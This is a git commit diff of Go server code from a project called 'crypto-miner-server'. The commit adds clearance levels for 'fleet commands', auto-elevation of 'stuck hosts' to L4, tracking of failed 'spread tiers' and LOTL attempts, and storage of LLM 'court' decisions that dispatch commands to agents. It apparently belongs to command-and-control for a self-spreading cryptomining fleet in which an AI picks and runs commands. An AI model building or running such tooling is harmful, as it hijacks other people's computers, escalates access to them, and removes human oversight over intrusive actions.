Add L0-L4 security clearance for fleet commands and AI elevation.

Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline.
This commit is contained in:
AetherForge
2026-06-07 02:30:00 -07:00
parent dd612251d1
commit f89ba94cb7
21 changed files with 952 additions and 46 deletions

View File

@@ -6,17 +6,20 @@ import (
"strings"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
// FleetAIConfigView is the Calibrate subset for Fleet AI Control.
type FleetAIConfigView struct {
AIControlEnabled bool `json:"ai_control_enabled"`
AIEndpoint string `json:"ai_endpoint"`
AIModel string `json:"ai_model"`
AINoContext bool `json:"ai_no_context"`
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
AIControlEnabled bool `json:"ai_control_enabled"`
AIEndpoint string `json:"ai_endpoint"`
AIModel string `json:"ai_model"`
AINoContext bool `json:"ai_no_context"`
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
AIPersona string `json:"ai_persona"`
}
// FleetAIConfigSource reads/writes Fleet AI settings from server config.
@@ -69,6 +72,15 @@ func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
h.mu.RUnlock()
snap.SpreadState = describeSpreadState(agent, snap.Capabilities)
if engine != nil {
fp := engine.AgentFingerprint(agentID)
if fp.GOOS == "" {
fp = strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
}
snap.FingerprintKey = fp.Key()
}
snap.Stuck = fleetai.ComputeStuck(snap)
snap.FailedTierCount = countFailedSpreadTiers(snap.LOTLAttempts)
if engine != nil && !aiMode {
fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
adaptive := engine.StrategyForAgent(agentID, fp)
@@ -148,6 +160,74 @@ func mergeTelemetryIntoSnapshot(snap *fleetai.AgentSnapshot, tel map[string]inte
n := int(v)
snap.VulnRisk = &n
}
if v, ok := tel["stuck"].(bool); ok {
snap.Stuck = v
}
}
func countFailedSpreadTiers(attempts []fleetai.TierAttempt) int {
attemptByTier := make(map[string]fleetai.TierAttempt, len(attempts))
for _, a := range attempts {
attemptByTier[a.Tier] = a
}
failed := 0
for _, tier := range fleetai.DefaultSpreadTiers() {
if a, ok := attemptByTier[tier]; ok && !a.OK {
failed++
}
}
return failed
}
// DatabaseCourtAdapter supplies failure atlas and phenotype data for court sessions.
type DatabaseCourtAdapter struct {
DB interface {
FailureAtlasSummary(fingerprintKey, goos string) (string, error)
GetFleetPhenotypeByFingerprint(fingerprint string) (*db.StoredPhenotype, error)
ListFleetPhenotypes(fingerprint string) ([]db.StoredPhenotype, error)
}
}
func (a *DatabaseCourtAdapter) FailureAtlasSummary(fingerprintKey, goos string) string {
if a == nil || a.DB == nil {
return ""
}
summary, err := a.DB.FailureAtlasSummary(fingerprintKey, goos)
if err != nil {
return ""
}
return summary
}
func (a *DatabaseCourtAdapter) BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) {
if a == nil || a.DB == nil {
return nil, false
}
stored, err := a.DB.GetFleetPhenotypeByFingerprint(fingerprintKey)
if err == nil && stored != nil {
p := strategy.PhenotypeFromStored(*stored)
return &p, true
}
rows, err := a.DB.ListFleetPhenotypes("")
if err != nil || len(rows) == 0 || goos == "" {
return nil, false
}
prefix := goos + "|"
var best *db.StoredPhenotype
for i := range rows {
row := &rows[i]
if !strings.HasPrefix(row.Fingerprint, prefix) {
continue
}
if best == nil || row.PeakHashrate > best.PeakHashrate {
best = row
}
}
if best == nil {
return nil, false
}
p := strategy.PhenotypeFromStored(*best)
return &p, true
}
// FleetAIExecutor dispatches parsed LLM commands via existing WS command paths.
@@ -321,24 +401,29 @@ func (a *ConfigAIAdapter) AIConfig() fleetai.Config {
endpoint = "http://127.0.0.1:11434/v1"
}
return fleetai.Config{
Enabled: v.AIControlEnabled,
Endpoint: endpoint,
Model: strings.TrimSpace(v.AIModel),
NoContext: v.AINoContext,
IntervalSec: interval,
Enabled: v.AIControlEnabled,
Endpoint: endpoint,
Model: strings.TrimSpace(v.AIModel),
NoContext: v.AINoContext,
IntervalSec: interval,
AutoElevateClearance: v.AIAutoElevateClearance || v.AIControlEnabled,
Persona: fleetai.NormalizePersona(v.AIPersona),
}
}
// DatabaseAIDecisionStore wraps db for InsertAIDecision.
type DatabaseAIDecisionStore struct {
DB interface {
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
InsertAIDecision(agentID, promptHash, response, commandsExecuted string, courtSession bool, prosecutorSnippet, defenderSnippet, judgeVerdict string) error
}
}
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error {
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *fleetai.CourtDecisionMeta) error {
if s == nil || s.DB == nil {
return nil
}
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted)
if court == nil {
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, false, "", "", "")
}
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, court.CourtSession, court.ProsecutorSnippet, court.DefenderSnippet, court.JudgeVerdict)
}